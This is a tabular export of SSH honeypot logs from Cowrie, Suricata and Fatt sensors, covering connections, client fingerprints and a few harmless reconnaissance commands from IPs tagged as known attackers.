33920	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:58:11.439773+03	2021-09-20 15:00:06.469733+03	{"_id": "vwYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:45546 (192.168.176.2:22) [session: 4d63c228e511]", "session": "4d63c228e511", "@version": "1", "protocol": "ssh", "src_port": 45546, "dest_port": 22, "timestamp": "2021-09-20T11:58:11.439773Z", "@timestamp": "2021-09-20T11:58:11.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33921	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:58:11.980624+03	2021-09-20 15:00:06.470733+03	{"_id": "wQYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "80cf949c2010", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:11.980624Z", "@timestamp": "2021-09-20T11:58:11.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33922	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:58:11.442792+03	2021-09-20 15:00:06.471734+03	{"_id": "wAYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4d63c228e511", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:11.442792Z", "@timestamp": "2021-09-20T11:58:11.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33923	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:58:12.169277+03	2021-09-20 15:00:06.472733+03	{"_id": "xQYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "80cf949c2010", "@version": "1", "timestamp": "2021-09-20T11:58:12.169277Z", "@timestamp": "2021-09-20T11:58:12.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33924	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:58:11.731143+03	2021-09-20 15:00:06.473733+03	{"_id": "yAYSA3wBvYTbRNuEIlKL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 1388283608373238, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45546, "dest_port": 22, "timestamp": "2021-09-20T11:58:11.731143Z", "@timestamp": "2021-09-20T11:58:11.731Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33925	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:15.092028+03	2021-09-20 15:00:06.474734+03	{"_id": "4QYSA3wBvYTbRNuELVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:15.092028Z", "@timestamp": "2021-09-20T11:58:15.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33926	222.186.30.76	109.199.241.180	Suricata	2021-09-20 14:58:15.047173+03	2021-09-20 15:00:06.475734+03	{"_id": "5wYSA3wBvYTbRNuELlJG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:14.532329+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.186.30.76", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 812274807086953, "payload": "AAADVAUU3krwG8kyAGcXrmXxX0BGPgAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABouYum8Q==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 20466, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:15.047173Z", "@timestamp": "2021-09-20T11:58:15.047Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...J...2.g..e._@F>....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............h...."}}	1	\N	\N	alert	known attacker	\N
33927	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:14.793278+03	2021-09-20 15:00:06.477733+03	{"_id": "6AYSA3wBvYTbRNuEL1JS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "222.186.30.76", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 20466, "timestamp": "2021-09-20T11:58:14.793278", "@timestamp": "2021-09-20T11:58:14.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33928	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:16.078804+03	2021-09-20 15:00:06.478733+03	{"_id": "6wYSA3wBvYTbRNuEMVIG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:16.078804Z", "@timestamp": "2021-09-20T11:58:16.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33929	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:58:11.97766+03	2021-09-20 15:00:06.479733+03	{"_id": "wwYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:58134 (192.168.176.2:22) [session: 80cf949c2010]", "session": "80cf949c2010", "@version": "1", "protocol": "ssh", "src_port": 58134, "dest_port": 22, "timestamp": "2021-09-20T11:58:11.977660Z", "@timestamp": "2021-09-20T11:58:11.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33930	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:58:11.731813+03	2021-09-20 15:00:06.480734+03	{"_id": "xAYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4d63c228e511", "@version": "1", "timestamp": "2021-09-20T11:58:11.731813Z", "@timestamp": "2021-09-20T11:58:11.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33931	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:12.109043+03	2021-09-20 15:00:06.481733+03	{"_id": "wgYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:12.109043Z", "@timestamp": "2021-09-20T11:58:12.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33932	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:12.109596+03	2021-09-20 15:00:06.482733+03	{"_id": "xwYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:12.109596Z", "@timestamp": "2021-09-20T11:58:12.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33933	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:58:12.1639+03	2021-09-20 15:00:06.484734+03	{"_id": "ygYSA3wBvYTbRNuEIlKL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 929134424560187, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58134, "dest_port": 22, "timestamp": "2021-09-20T11:58:12.163900Z", "@timestamp": "2021-09-20T11:58:12.163Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33951	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:58:14.378149+03	2021-09-20 15:00:06.507021+03	{"_id": "5QYSA3wBvYTbRNuELVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4d63c228e511", "@version": "1", "duration": 2.9357001781463623, "timestamp": "2021-09-20T11:58:14.378149Z", "@timestamp": "2021-09-20T11:58:14.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33934	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:58:12.168996+03	2021-09-20 15:00:06.485734+03	{"_id": "zgYSA3wBvYTbRNuEI1KY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 